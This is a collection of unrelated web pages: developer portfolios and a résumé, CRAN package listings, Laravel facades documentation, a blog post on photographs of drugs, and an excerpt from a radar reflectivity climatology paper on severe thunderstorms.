Daniel Berryman
Full-Stack Developer
Hi! I'm Daniel. I'm looking to learn/grow and contribute to meaningful projects that help make the world better.
Hi! I'm Daniel. I'm looking to learn/grow and contribute to meaningful projects that help make the world better.
I wrote this app as a way to create a tool for myself to practice working with JavaScript date constructors. The app generates a small snippet of JavaScript and places it in a psuedo code editor. You can answer the questions by coding in the correct answer and then submitting your response. Currently, the questions revolve exclusively around what values will be returned when local methods versus utc methods are called on Date object that's generated. I wrote it in vanilla JS to practice fundamentals. I'd like to write a more full-fleged app in a framework that would give me and others a way to practice JavaScript fundamentals that feels like you're coding instead of only creating and then practicing static flashcards.
The beltbook is a awesome web app to help Musical Theatre performs manage their repertoire. I connected to the project through a voice teacher that I had when I was growing up. It's written in React and Python/Django with a MySQL database. I didn't write the app itself. I was approached by the owner after the developer who wrote most of it was no longer available to work on the project. I was tasked with getting it to production. I provisioned a Digital Ocean droplet running Ubuntu and I've deployed the app using Caddy and Gunicorn. Alongside deployment I've connected the app to use a 3rd-party email provider, implemented cache busting, and configured the DNS setup.


Task assignment
- Make website with content similar to what is after the separator.
- Focus only on producing correct HTML, do not care about how the webpage looks like, that will be covered in following lectures.
-
After you are done, put the webpage into a
HTML validator to make
sure it is correct.
Task solution
Text formatting
Paragraph with important text
Paragraph with link to seznam.cz
Paragraph with special characters: 5>2
Lists
- First item
-
Second item
- First nested item
- Second nested item
- Third item
Images
Tables
| Product |
Price |
| Coca-Cola |
Pepsi |
| 30 CZK |
25 CZK |


SISUS for source partitioning using stable isotopes. SISUS reads in a specific Excel-like workbook and performs an IsoSource-type analysis by returning a sample of feasible solutions to p in the non-over constrained linear systems, b=Ap. Edit \file{sisus_*_template.xls} and input data values and run parameters. Run \code{\link{sisus.run}(filename)}. See output in current working directory.
| Version: | 3.9-13 |
| Depends: | R (≥ 3.0.0) |
| Imports: | MASS, RColorBrewer, coda, gdata, gtools, moments, polyapost, rcdd, stats |
| Published: | 2014-11-22 |
| Author: | Erik Barry Erhardt [aut, cre] |
| Maintainer: | Erik Barry Erhardt <erike at stat.unm.edu> |
| License: | GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| URL: | http://StatAcumen.com/sisus |
| NeedsCompilation: | no |
| CRAN checks: | sisus results |
| Reference manual: | sisus.pdf |
| Package source: | sisus_3.9-13.tar.gz |
| Windows binaries: | r-devel: not available, r-release: not available, r-oldrel: sisus_3.9-13.zip |
| OS X binaries: | r-release: sisus_3.9-13.tgz, r-oldrel: sisus_3.9-13.tgz |
| Old sources: | sisus archive |
Please use the canonical form https://CRAN.R-project.org/package=sisus to link to this page.


Finesse notifies you about ongoing and upcoming events automatically, so you can always stay up to date!
You can also share new events with other users, and even promote your own!
Provide feedback and interact with the Finesse community by voting or commenting!
Finesse is completely free to use, with no annoying ads, intrusive permissions, or required accounts!
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Visualizing Drugs
As an historian of the early modern drug trade, I struggle to recreate the subjective experiences of drugs among people who may be long dead: what did it mean to smoke tobacco in the seventeenth century, when it was feared as a demonic drug and lauded as a panacea for all ailments? Or to take hallucinogenic Amazonian plants thousands of years ago?
I often turn to visual sources for ways of conveying the effects of drugs and tracing how they were used, like these paintings of seventeenth-century Dutch holiday feasters drinking gin (at the time a newly invented “medicine”) and smoking tobacco.
Berlin-based photographer Sarah Schönfeld took an original approach to visualizing drugs by photographing the drugs themselves. More precisely, as Schönfeld’s artist statement describes, she
squeezed drops of various legal and illegal liquid drug mixtures onto negative film which had already been exposed. Each drop altered the coating of the film. Much like the effect of some of these substances on humans, this can be a lengthy process – sometimes one that can barely be stopped. She then enlarged these negatives including the chemical reaction of the particular drug, to sizes of up to 160 x 200 cm. All of the substances behaved very differently: the shapes and colors that appeared showed unique characteristics and revealed unique internal universes. Schönfeld explores the possibilities of photography at the frontiers of what can be visually portrayed–-the interface between representation and reality.
The results are impressive as abstract compositions, but I also love how they offer a novel way of visualizing a poorly-understood corner of our contemporary world. Below are some favorites, and here’s the complete collection.
There are many more exquisite photographs at Sarah Schönfeld’s personal site.


Conference papers:
Journal papers:
[1] R. Fablet, M. Lopez-Radcenco, J. Verron, B. Mourre, B. Chapron, and A. Pascual. Learning multi-tracer convolutional models for the reconstruction of high-resolution SSH fields. In IGARSS 2017: 2017 IEEE International Geoscience and Remote Sensing Symposium, Fort Worth, Texas, USA, Forthcoming.
[2] M. Lopez-Radcenco, A. Aissa-El-Bey, P. Ailliot, R. Fablet, and P. Tandeo. Non-negative decomposition of linear relationships: application to multi-source ocean remote sensing data. In ICASSP 2016: 41st IEEE International Conference on Acoustics, Speech and Signal Processing, pages 4179–4183, 2016.
[3] M. Lopez-Radcenco, A. Aissa-El-Bey, P. Tandéo, and R. Fablet. Non-negative decomposition of geophysical dynamics. In ESANN’17: 25th Eur. Symp. on Artificial Neural Networks, Computational Intelligence and Machine Learning, Bruges, Belgium, April 2017.
[4] M. Lopez-Radcenco, A. Aissa-El-Bey, P. Tandéo, and R. Fablet. Décomposition Non-négative de Dynamiques Géophysiques. In GRESTSI 2017: XXVIème colloque du GRETSI, Juan-Les-Pins, France, Forthcoming.
[5] M. Lopez-Radcenco, R. Fablet, A. Aissa-El-Bey, and P. Ailliot. Locally-adapted convolution-based super-resolution of irregularly-sampled ocean remote sensing data. In ICIP 2017: 2017 IEEE International Conference on Image Processing, Beijing, China, Forthcoming.
[6] G. Maze, H. Mercier, R. Fablet, P. Lenca, M. Lopez Radcenco, P. Tandeo, C. Le Goff, and C. Feucher. Ocean heat content structure revealed by un-supervised classification of hydrographic profiles. In OSD 2016: Ocean Sciences Meeting, New Orleans, United States, Feb. 2016.
[7] G. Maze, H. Mercier, R. Fablet, P. Tandeo, M. Lopez-Radcenco, P. Lenca, C. Feucher, and C. Le Goff. Coherent heat patterns revealed by unsupervised classification of argo temperature profiles in the north atlantic ocean. Progress in Oceanography, 151:275 – 292, 2017.


Calculation of AHP (Analytic Hierarchy Process - <http://en.wikipedia.org/wiki/Analytic_hierarchy_process>) with classic and fuzzy weights based on Saaty's pairwise comparison method for determination of weights.
| Version: | 0.9.1 |
| Depends: | R (≥ 3.0.0), methods, MASS |
| Suggests: | knitr, testthat |
| Published: | 2018-05-21 |
| Author: | Jan Caha [aut, cre], Aneta Drážná [ctb, com] (up to version 0.6.5) |
| Maintainer: | Jan Caha <cahik at atlas.cz> |
| License: | LGPL (≥ 3) |
| URL: | http://github.com/JanCaha/FuzzyAHP/ |
| NeedsCompilation: | no |
| Citation: | FuzzyAHP citation info |
| Materials: | README NEWS |
| CRAN checks: | FuzzyAHP results |
| Reference manual: | FuzzyAHP.pdf |
| Vignettes: |
Examples of FuzzyAHP package application Vignette Title |
| Package source: | FuzzyAHP_0.9.1.tar.gz |
| Windows binaries: | r-devel: FuzzyAHP_0.9.1.zip, r-release: FuzzyAHP_0.9.1.zip, r-oldrel: FuzzyAHP_0.9.1.zip |
| OS X binaries: | r-release: FuzzyAHP_0.9.1.tgz, r-oldrel: FuzzyAHP_0.9.1.tgz |
| Old sources: | FuzzyAHP archive |
Please use the canonical form https://CRAN.R-project.org/package=FuzzyAHP to link to this page.


Extensible Host Language (XHL) is a generic syntax and a framework for building domain-specific languages. Its goal is to provide a foundation and an infrastructure for DSLs in a similar way as XML provides it for data formats and markup languages.
The syntax provides basic elements like numbers, strings, lists and maps to represent data literals in programs. It also provides shapes for your language constructs — combinations and blocks and symbols for expressing names.
The framework provides an extensible interpreter, that allow to define meaning of language elements. It also allows to express properties of language using langage schema.
Source codes of XHL framework are available at GitHub under the Apache License Version 2.0. Note that the implementation is in early states of development and is not ready for production usage.


Link Editor
OA and OABuilder supports any type of references between objects, and
advanced features and settings for making complex relationships automatic.
As with all of the editors in OABuilder, the default values are
almost always what is needed, so there is no need to set each
individual setting.
Link information: types, names, etc.
Information describing link.
More information describing link.
Dropdown tree to navigate to correct object.
Options for saving and deleting objects.
DataSource information: fkey name, etc.
Custom code, if different then what is automatically generated.
Many to Many relationship.
Many to Many relationship, showing the database information - link table name, fkeys, etc.
Self-reference relationship, also called recursive link, where an object can have many child objects.


Software Developer
Curb-Side is an application that allows businesses to register and create catalogues that customers are then able to use to create and place orders. Which can then be finished at the businesses curb. I worked with three other teammates, we utilized scrum methodologies and constantly used pair-programming. I was largely involved with writing the server and the "business" UI of the front end. This is my favorite application that I've worked on by far because of all of the cool things we were able to do. We used sockets to make a chat feature, and implemented GoogleApis and Mongoose GeoJSON to allow users to search for businesses by typing in a location.
Bug report is an application that allows users to post bugs, make notes on posted bugs. And the creator of a bug can close it once it has been resolved. The information is stored in an easy to read format that makes obvious who submitted the bug, its status and the last time it was modified which mostly references when it was created. This is one of the earliest full-stack front to back applications I wrote by myself. I had a great deal of fun writing it, and was very proud of the design at the time. Looking back I would try to implement more concepts from material design, but I think this is a good representation of what I was capable of at the time.
Project manager uses a kanban approach to organizing tasks. Users are able to log in, create boards, lists and tasks, and move tasks between lists. I worked with a partner consistently pair-programming, we swapped regularly who was coding and who was driving, so I participated in the entire back and front end. We were a bit heavy handed with the shadows... But I think it's a cool application, and presented some interesting challenges.


Facades
Introduction
Throughout the Laravel documentation, you will see examples of code that interacts with Laravel's features via "facades". Facades provide a "static" interface to classes that are available in the application's service container. Laravel ships with many facades which provide access to almost all of Laravel's features.
Laravel facades serve as "static proxies" to underlying classes in the service container, providing the benefit of a terse, expressive syntax while maintaining more testability and flexibility than traditional static methods. It's perfectly fine if you don't totally understand how facades work under the hood - just go with the flow and continue learning about Laravel.
All of Laravel's facades are defined in the Illuminate\Support\Facades
namespace. So, we can easily access a facade like so:
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Route;
Route::get('/cache', function () {
return Cache::get('key');
});
Throughout the Laravel documentation, many of the examples will use facades to demonstrate various features of the framework.
Helper Functions
To compliment facades, Laravel offers a variety of global "helper functions" that make it even easier to interact with common Laravel features. Some of the common helper functions you may interact with are view
, response
, url
, config
, and more. Each helper function offered by Laravel is documented with their corresponding feature; however, a complete list is available within the dedicated helper documentation.
For example, instead of using the Illuminate\Support\Facades\Response
facade to generate a JSON response, we may simply use the response
function. Because helper functions are globally available, you do not need to import any classes in order to use them:
use Illuminate\Support\Facades\Response;
Route::get('/users', function () {
return Response::json([
// ...
]);
});
Route::get('/users', function () {
return response()->json([
// ...
]);
});
When To Use Facades
Facades have many benefits. They provide a terse, memorable syntax that allows you to use Laravel's features without remembering long class names that must be injected or configured manually. Furthermore, because of their unique usage of PHP's dynamic methods, they are easy to test.
However, some care must be taken when using facades. The primary danger of facades is class "scope creep". Since facades are so easy to use and do not require injection, it can be easy to let your classes continue to grow and use many facades in a single class. Using dependency injection, this potential is mitigated by the visual feedback a large constructor gives you that your class is growing too large. So, when using facades, pay special attention to the size of your class so that its scope of responsibility stays narrow. If your class is getting too large, consider splitting it into multiple smaller classes.
Facades Vs. Dependency Injection
One of the primary benefits of dependency injection is the ability to swap implementations of the injected class. This is useful during testing since you can inject a mock or stub and assert that various methods were called on the stub.
Typically, it would not be possible to mock or stub a truly static class method. However, since facades use dynamic methods to proxy method calls to objects resolved from the service container, we actually can test facades just as we would test an injected class instance. For example, given the following route:
use Illuminate\Support\Facades\Cache;
Route::get('/cache', function () {
return Cache::get('key');
});
Using Laravel's facade testing methods, we can write the following test to verify that the Cache::get
method was called with the argument we expected:
use Illuminate\Support\Facades\Cache;
/**
* A basic functional test example.
*
* @return void
*/
public function testBasicExample()
{
Cache::shouldReceive('get')
->with('key')
->andReturn('value');
$response = $this->get('/cache');
$response->assertSee('value');
}
Facades Vs. Helper Functions
In addition to facades, Laravel includes a variety of "helper" functions which can perform common tasks like generating views, firing events, dispatching jobs, or sending HTTP responses. Many of these helper functions perform the same function as a corresponding facade. For example, this facade call and helper call are equivalent:
return Illuminate\Support\Facades\View::make('profile');
return view('profile');
There is absolutely no practical difference between facades and helper functions. When using helper functions, you may still test them exactly as you would the corresponding facade. For example, given the following route:
Route::get('/cache', function () {
return cache('key');
});
Under the hood, the cache
helper is going to call the get
method on the class underlying the Cache
facade. So, even though we are using the helper function, we can write the following test to verify that the method was called with the argument we expected:
use Illuminate\Support\Facades\Cache;
/**
* A basic functional test example.
*
* @return void
*/
public function testBasicExample()
{
Cache::shouldReceive('get')
->with('key')
->andReturn('value');
$response = $this->get('/cache');
$response->assertSee('value');
}
How Facades Work
In a Laravel application, a facade is a class that provides access to an object from the container. The machinery that makes this work is in the Facade
class. Laravel's facades, and any custom facades you create, will extend the base Illuminate\Support\Facades\Facade
class.
The Facade
base class makes use of the __callStatic()
magic-method to defer calls from your facade to an object resolved from the container. In the example below, a call is made to the Laravel cache system. By glancing at this code, one might assume that the static get
method is being called on the Cache
class:
<?php
namespace App\Http\Controllers;
use App\Http\Controllers\Controller;
use Illuminate\Support\Facades\Cache;
class UserController extends Controller
{
/**
* Show the profile for the given user.
*
* @param int $id
* @return Response
*/
public function showProfile($id)
{
$user = Cache::get('user:'.$id);
return view('profile', ['user' => $user]);
}
}
Notice that near the top of the file we are "importing" the Cache
facade. This facade serves as a proxy for accessing the underlying implementation of the Illuminate\Contracts\Cache\Factory
interface. Any calls we make using the facade will be passed to the underlying instance of Laravel's cache service.
If we look at that Illuminate\Support\Facades\Cache
class, you'll see that there is no static method get
:
class Cache extends Facade
{
/**
* Get the registered name of the component.
*
* @return string
*/
protected static function getFacadeAccessor() { return 'cache'; }
}
Instead, the Cache
facade extends the base Facade
class and defines the method getFacadeAccessor()
. This method's job is to return the name of a service container binding. When a user references any static method on the Cache
facade, Laravel resolves the cache
binding from the service container and runs the requested method (in this case, get
) against that object.
Real-Time Facades
Using real-time facades, you may treat any class in your application as if it was a facade. To illustrate how this can be used, let's first examine some code that does not use real-time facades. For example, let's assume our Podcast
model has a publish
method. However, in order to publish the podcast, we need to inject a Publisher
instance:
<?php
namespace App\Models;
use App\Contracts\Publisher;
use Illuminate\Database\Eloquent\Model;
class Podcast extends Model
{
/**
* Publish the podcast.
*
* @param Publisher $publisher
* @return void
*/
public function publish(Publisher $publisher)
{
$this->update(['publishing' => now()]);
$publisher->publish($this);
}
}
Injecting a publisher implementation into the method allows us to easily test the method in isolation since we can mock the injected publisher. However, it requires us to always pass a publisher instance each time we call the publish
method. Using real-time facades, we can maintain the same testability while not being required to explicitly pass a Publisher
instance. To generate a real-time facade, prefix the namespace of the imported class with Facades
:
<?php
namespace App\Models;
use Facades\App\Contracts\Publisher;
use Illuminate\Database\Eloquent\Model;
class Podcast extends Model
{
/**
* Publish the podcast.
*
* @return void
*/
public function publish()
{
$this->update(['publishing' => now()]);
Publisher::publish($this);
}
}
When the real-time facade is used, the publisher implementation will be resolved out of the service container using the portion of the interface or class name that appears after the Facades
prefix. When testing, we can use Laravel's built-in facade testing helpers to mock this method call:
<?php
namespace Tests\Feature;
use App\Models\Podcast;
use Facades\App\Contracts\Publisher;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Tests\TestCase;
class PodcastTest extends TestCase
{
use RefreshDatabase;
/**
* A test example.
*
* @return void
*/
public function test_podcast_can_be_published()
{
$podcast = Podcast::factory()->create();
Publisher::shouldReceive('publish')->once()->with($podcast);
$podcast->publish();
}
}
Facade Class Reference
Below you will find every facade and its underlying class. This is a useful tool for quickly digging into the API documentation for a given facade root. The service container binding key is also included where applicable.


子元素过滤选择器.
child1-basic0
child2-basic1
child3-basic2
child1-basic3
child2-basic4
child3-basic5
child1-basic6


I want to enhance my understanding of information sciences and to make a significant
contribution to the field of computer science.
Currently I'm working as a Software Engineer E4 (Android) at DoorDash, and I've 6+ years of professional experience in Software Development.
I've Master's degree in Computer Science from State University of New York, Binghamton. and Bachelor's degree in Computer
Science from Pune University, India.
July 2021 - Current
February 2018 - July 2021
Leading one of the Android teams responsible for delivering various features for our Android streaming application, Paramount+, and CBS on both mobile and TV platforms
August 2017 - December 2017
I was grading and assisting students for the graduate level course "Programming for the Web".
June 2017 - August 2017
My role at ViacomCBS was to provide mobile coding contributions to CBS All Access (now Paramount+) Android application. During my tenure, I implemented various features which include Autofill feature for Android O, adding voice search functionality, adding support for Android O's new TV Launcher feature. I also analyzed the code base to give suggestion on the architectural level.
January 2017 - May 2017
I was working on SPIR (The Strategic Partnership for Industrial Resurgence) project, "A Standard for Health Care Interoperability". My responsibility was to help the client to build a universal XML schema to be used by health organizations to exchange the data.
June 2015 - June 2016
Helpshift is a technology company that develops SDKs for different platforms making it easy for businesses to care for their customers, everywhere. I was a part of the Android SDK team. I was responsible for developing and maintaining Android SDK. During my tenure at Helpshift, I implemented various major features in the SDK which includes making the SDK Material Design compatible as per standard guidelines. I was also involved in resolving CSRs(Customer Service Requests) for various high profile customers like Microsoft, Supercell, Target, Glu etc. This involved helping customers to integrate SDK, resolving any errors/bugs customers facing in the SDK.
June 2014 - June 2015
At Clarice Technologies, I was a part of a team of 5 people who were responsible for the development of a product, "Zoomvy". Zoomvy was an online shopping client available on Android, iOS and as a Chrome App. Its features included chatting with friends, audio-video calling and screen sharing while shopping with friends. I was handling entire Android part of this product including development and maintenance.
August 2016 - December 2017
Courses elected
June 2009 - June 2014
Core courses
Video Splitter is an Android Application that allows users to edit their videos.
Small webpage to share Covid-19 case charts created from WHO data for my friends and family: projects/covid19
My DIY "The Box" featuring small IoT setup on a RaspberryPi 4:
Subtitle Studio is a Java application to create, convert, upload and dwnload subtitles.
Most of the database uses row storage method to store the
data physically. Some databases queries like count *
are suffered by this storage method.
PostgreSQL is an Open Source Database
written in C. Our idea is to have redundant copy of data in both row and column storage method and redirect
queries to storage methods
on which they would run efficiently (
project report here).
Designed client-server application in Microsoft Visual
Basic® 6.0 with WinSock as a third-year mini project during under-graduation.
With this application, students can login, check his/her timetable, view important notifications and
other academic data. Staff can login and perform tasks like taking attendance etc.
Designed various client-server and standalone applications
in Java for Institute's (MIT Pune) Annual National Level Technical Event
Texephyr 2014.
Designed various client-server and standalone applications in Microsoft Visual Basic® 6.0 with WinSock
for Institute’s (MIT Pune) Annual National Level Technical Event IntechXication 2013.
Core team member of institution group MCUG that promotes open source development and conducts various technical workshops and seminars.
Have designed and developed various applications and websites professionally.
Fremont, CA, US


fun createSignatureVerificationService(): SignatureVerificationService
Returns an instance of the SignatureVerificationService.
CryptoServiceLibraryException - for general cryptographic exceptions.
CryptoServiceLibraryException


This research quantifies the spatiotemporal statistics of composite radar reflectivity in the vicinity of severe thunderstorm reports. By using over 20 years (1996–2017) of data and 500,000 severe thunderstorm reports, this study presents the most comprehensive analysis of the mesoscale presentation of radar reflectivity composites during severe weather events to date. We first present probability matched mean composites of approximately 5,000 radar images centred on tornado reports that contain one of three types of manually‐labelled convective storm modes—namely, (a) quasi‐linear convective system (QLCS); (b) cellular; or (c) tropical system. Next, we generate composites for tornado report data stratified by EF‐scale and for four temporal periods during which notable severe weather events took place. The data are then stratified by hazard, region, season, and time of day. The results show marked spatiotemporal and intra‐hazard variability in radar presentation. In general, cellular convection is favoured in the Great Plains of the United States, whereas QLCS convection is favoured in the Southeast United States. Night and cool‐season subsets showed a preference for QLCS convection, whereas day and warm‐season subsets showed a preference for cellular convection. These results agree well with the existing literature and suggest that the data extraction and organization approach is sound. Because of this, these data will be useful for future image classification studies in climate and atmospheric sciences—particularly those involving storm mode classification.
International Journal of Climatology Article
How to cite this article: Haberlie AM, Ashley WS, Karpinski MR. Mean storms: Composites of radar reflectivity images during two decades of severe thunderstorm events. Int J Climatol. 2020;1–19. https://doi.org/10.1002/joc.6804
Alex M. Haberlie (LSU), Walker S. Ashley (NIU), Marisa R. Karpinski (LSU)
Severe thunderstorm events are responsible for many weather-related injuries, deaths,
and billion-dollar-losses in the United States (Ashley, 2007; Black and Ashley, 2010; Schoen and Ashley, 2011;
Smith and Katz, 2013). Due to their high-impact nature, reports of these events—including when and where
they occurred—have been gathered and systematically archived for decades by organizations like the National
Oceanic and Atmospheric Administration's Storm Prediction Center. Examples of how these data are used include
storm warning verifica- tion (Brooks and Correia Jr., 2018), generating hazard climatologies
(Brooks et al., 2003; Allen and Tippett, 2015; Edwards et al., 2018), informing teleconnection relation- ships
(Allen et al., 2015), exploring changes in the spatio-temporal occurrence of events (Brooks et al., 2014; Gensini
and Brooks, 2018), vulnerability and exposure analyses (Strader et al., 2017), and environmental analyses
(Thompson et al., 2012). Of particular interest in the field of severe thunderstorm research has been the
automated identification of convective storm mode (CSM) in weather radar data through manual
(Smith et al., 2012; Ellis et al., 2019) or automated approaches (Haberlie and Ashley, 2018; Gagne II et al., 2019;
McGovern et al., 2019; Jergensen et al., 2020).
Weather radar data has been used for decades to identify CSM (e.g., Fujita, 1965). CSM identification can help
assess the potential severity of an ongoing or imminent severe weather event (McNulty, 1995; Smith et al., 2012),
and can also be a useful tool for assessing operational (Snively and Gallus Jr., 2014) and climate model
(Haberlie and Ashley, 2019) performance. The maturation of historical weather radar data archives has
allowed the climatological exploration of radar-derived event (e.g., thunderstorms, CSM) frequency (Matyas, 2010;
Fabry et al., 2017). For example, mean composite frequency of radar-derived events has been used to explore
the relationship between locations with significant human-made land use modification and thunderstorm frequency
(Ashley et al., 2012; Haberlie et al., 2015). Additionally, the millions of radar images generated and archived
since the 1990s have been a great resource for applied machine learning researchers in the atmospheric and climate
sciences (McGovern et al., 2019), including projects that train machine learning algorithms to identify CSM
(e.g., Haberlie and Ashley, 2018; Ashley et al., 2019; Jergensen et al., 2020). However, until now, there
has been no attempt to create a curated dataset of radar images centred on classifiable “objects.” These types of
datasets are common in the field of machine learning, and are widely used for comparing the efficacy of different
approaches. For example, the MNIST dataset (LeCun et al., 1998)—a collection of hand-written numbers—is publically
available and has been referenced by tens of thousands of papers.  This work is the first step in communicating the general attributes of this novel dataset
which can inform future projects that use these data.
This work seeks to extend the methodology used by “stationary window” radar analyses by instead centring the
radar images to be composited on locations and times at which reported thunderstorm hazards occurred. This
moving window approach has been used in previous work to assess the influence of multiple cities on
thunderstorm activity (Fabry et al., 2017), generate composites of current and future heavy rainfall
events (Prein et al., 2017), the successes and failures of machine learn- ing model predictions
(McGovern et al., 2019), and the strengths and weaknesses of various multi-model averaging approaches on modelled
rainfall output (Clark, 2017). However, those works used 10s or 100 s of “windows” and did not examine the
spatial variability of the composites. This research expands these results to examine composites using over
500,000 radar images from various regions, times of the day, seasons, and event magnitudes. Additionally, it could
provide a methodology for communicating morphological variability and evolution within events of interest
beyond morphological statistics (Zick and Matyas, 2016; Matyas et al., 2018). Through a moving window composite
analysis, we visualize the spatiotemporal patterns in radar reflectivity in the vicinity of severe thunderstorm
events in the conterminous United States (CONUS). Additionally, we show that the spatial, seasonal, and diurnal
composite CSM tendencies match with those of existing CSM climatologies. This suggests that the dataset created
through this work will be useful for machine learning applications, and in particular, CSM identification using
image classification algorithms (LeCun et al., 1998).
This study utilizes historical (1996–2017) national reflec- tivity composite mosaic (2 × ~ 2 km grid spacing) data called NOWradtm (The Weather Company). The raw data, which are integers (0–16) representing 5 dBZ bins from 0 to 80 dBZ, are sampled at 15-min intervals and interpolated to a 2 × 2 km (4 km2) equal area grid that spans the CONUS in a rectangle from approximately 110–65 W and 25–50 N. These data have been used in a number of climatological studies (Fabry et al., 2017). Although issues exist within radar datasets, some of these are reduced in composite reflectivity by using data from multiple radars (Fabry et al., 2017). We address range- and terrain-based issues by limiting the study area to regions with good low-level radar coverage east of the Rocky Mountains (Figure 1). One important caveat is that dBZ was used in all calculations, and the values were not first converted to Z. Although the literature has argued for both approaches (Lakshmanan, 2012; Warren and Protat, 2019), these differences will not have a large influence on the interpretation of the results.
The Storm Prediction Center's severe report dataset was used for event selection (SVRGIS; http://www.spc.noaa.gov/gis/svrgis). Although the dataset contains well-known biases (Allen and Tippett, 2015; Edwards et al., 2018), no initial filtering is performed. All reports from 1996 to 2017 are cross-referenced with time-indexed radar reflectivity data to only select event reports that occurred within 7.5 min of available 15-min radar data. An additional step subsets the data within the central and eastern CONUS where event locations are at least 256 km from the edge of the interpolated radar domain (Figure 1).
After the filtering process is completed, over 90% of the original severe reports—24,940 tornado, 247,875 hail, and 275,568 wind—are retained. The large sample size, cross-referencing with radar data, and no temporal trend analyses limit the influence of the biases in the dataset. The starting coordinates (e.g., “slat,” “slon”) are used to determine the report's location.
For all 548,383 filtered reports, radar data within a 256 by 256 pixel (~512 by ~512 km) box (herein, report box) around the report's converted grid coordinate are extracted and saved (Figure 1b–d). This distance was chosen to represent the mesoscale neighbourhood around each report since all CSMs exist within the meso-gamma to lower meso-alpha range (Markowski and Richardson, 2011). To examine the accuracy of the process, bulk radar statistics within 64 km of the report's grid location were calculated. Over 99% of the events had at least 40 km2 (roughly the size of a convective cell; Miller and Mote, 2017) of 40 dBZ or greater pixels in the buffer region. That is, almost all of the filtered reports were near legitimate (i.e., non-noise) dBZ values commonly associated with deep, moist convective precipitation rates (Parker and Knievel, 2005). These images are used to generate composites.
To examine the attributes of select CSMs (Gallus Jr et al., 2008), an initial labelled dataset of 5,156 images was generated, consisting of: (a) quasi-linear convective system, or QLCS (n = 2,330), (b) Cellular (n = 2,453), and (c) Tropical (n = 373) examples. To create this dataset, images centred on the starting location of tor- nado reports from 1996 to 2017 were manually assigned to one of the aforementioned CSMs. Although the classi- fications are subjective, we followed the guidance of pre- vious work (e.g., Gallus Jr et al., 2008; Smith et al., 2012; Ashley et al., 2019; Ellis et al., 2019)—specifically, (a) QLCSs are identified by noting a linear organization of pixels ≥40 dBZ (i.e., at least a 3 to 1 length to width ratio) with a length of at least 100 km, (b) Cellular cases are identified by noting a circular organization to the ≥40 dBZ pixels in the vicinity of the report, and that contigu- ous circular region is entirely within a 100 × 100 km box around the report, and (c) Tropical cases are those that occurred near a HURDAT track (Landsea et al., 2015). The reports were gathered from the Southern United States (i.e., Oklahoma, Texas, Arkansas, Louisiana, Mississippi, Tennessee, Alabama, Florida, Georgia, South Carolina, and North Carolina).
Probability matched mean (PMM) composites (Ebert, 2001) are generated to visualize the tendency of reflectivity shape and intensity across the three CSMs and temporal periods (Figure 2).
The probability matched approach is used over a simple mean because of the tendency for the latter approach to “smooth out” the large intensity gradients noted within precipitation rate products (Clark, 2017)—one of which is reflectivity (dBZ). This approach produces more realistic spatial patterns of intensity while preserving the shape of the simple mean. Although this approach has historically been used to assess forecast skill of accumulated precipitation fields (Clark, 2017) and simulated reflectivity factor (Surcel et al., 2014), recent work has used this method to generate representative examples of subsets using many observed radar images (McGovern et al., 2019; Lagerquist et al., 2020). To further illustrate the variability that is captured within the PMM composites, we first calculated the sums of the 25th and 75th percentile ranked intensity distributions within each subset. We then stratify these subsets by selecting only those images with a ranked intensity distribution sum less than or equal to (greater than or equal to) the 25th (75th) percentile distribution sums. In this way, we can visualize the extremes within the subsets, and communicate the morphological variability therein.
To confirm that the PMM composite images are more representative than less complex approaches, we compared them to composite images generated by a simple mean and median using the same radar image subsets. Specifically, we calculated the ranked reflectivity (dBZ) found within the composites (i.e., mean, median, and PMM) and compared those to the median ranked reflec- tivity for the entire subset (Figure 3).
The simple mean composite image produces much broader areas of lower reflectivity values (i.e., <15 dBZ) and fails to reproduce higher reflectivity values (i.e, >15 dBZ) compared to any given image within the subset. The median composite image generally produces representative coverage for low reflectivity values, but, like the simple mean, it fails to reproduce higher reflectivity values. Ranked reflectivity from the PMM composite image, however, closely traces the median reflectivity ranks for all CSMs, suggesting it is representative of the intensity distribution one would see within the samples. This is consistent with previous work that demonstrated the advantages of PMM composites over the simple ensemble mean of precipitation accumulation, particularly for higher intensity values (Clark, 2017).
The resulting PMM composites suggest that, for all of the selected tornado reports, the composite generated using affiliated 25th percentile radar images (Figure 2a) resemble Cellular CSM, whereas the composite of 75th percentile images (Figure 2c) resemble QLCS CSM. The ranks for the first 0 dBZ pixel suggests that the median coverage of ≥5 dBZ pixels is around 36%, whereas this value is 47% for the 75th percentile distribution and 24% for the 25th percentile distribution (Figure 3a). QLCS samples (Figure 2d,e,f) tend to exhibit an elongated area of higher reflectivity values, and this pattern is consistent for the 25th and the 75th percentile composite images. The median coverage of non-zero pixels for QLCS images is around 42%, and the 25th and 75th percentile coverage are ~33% and ~52%, respectively (Figure 3b). On the other hand, Cellular examples (Figure 2g,h,i) show some variability between the 25th percentile images (Figure 2g) and the 75th percentile images (Figure 2i). Namely, there is a marked increase in coverage of non-zero reflectivity values for the 75th percentile images. This is the result of “cell-in-cluster” cases, which contrast the “isolated cellular” examples that comprise the 25th percentile subset. Median, 25th, and 75th percentile coverage of non-zero pixels are approximately 26%, 17%, and 37%, respectively, for Cellular examples (Figure 3c). A noticeable and ubiquitous difference between the QLCS and Cellular composites is the lack of 30 dBZ and greater reflectivity values in the southern two-fifths of the Cellular composite images. This reflects the non-contiguous nature of “cell-in-cluster” CSM and the preference for tornado formation in “tail-end Charlies,” or supercells that are on the southern flank of a storm cluster (Beveridge et al., 2019). Tropical examples (Figure 2j–l) generally produce more widespread reflectivity values compared to Cellular, but have intensities lower than both QLCS and Cellular samples. Additionally, the westward offset of lower intensities for Tropical samples, particularly for the overall composite (Figure 2k) and 75th percentile composite (Figure 2l), matches up well with the preferred location of tornadoes relative to the centre of circulation for land falling storms in the CONUS (Edwards, 2012). Median, 25th, and 75th percentile cover- age of non-zero pixels for Tropical samples are approximately 50%, 39%, and 62%, respectively (Figure 3d). Perhaps unsurprisingly, the QLCS/Cellular/Tropical composite depicted in Figure 2b appears as a combination of the QLCS and Cellular composites (i.e., “mixed mode”), due to their abundance within the manually labelled data. It is also clear that Tropical samples generally have more non-zero pixels than QLCS and Cellular examples. However, median ≥ 40 dBZ cover- age is greater for both QLCS (3.3%) and Cellular (2.2%), compared to Tropical (1.5%). These PMM composite archetypes and statistics are reasonable and can be used to qualitatively assess the CSM tendency within various subsets of unlabelled images.
PMM composite images were generated for tornado reports during notable severe weather events (Figure 4).
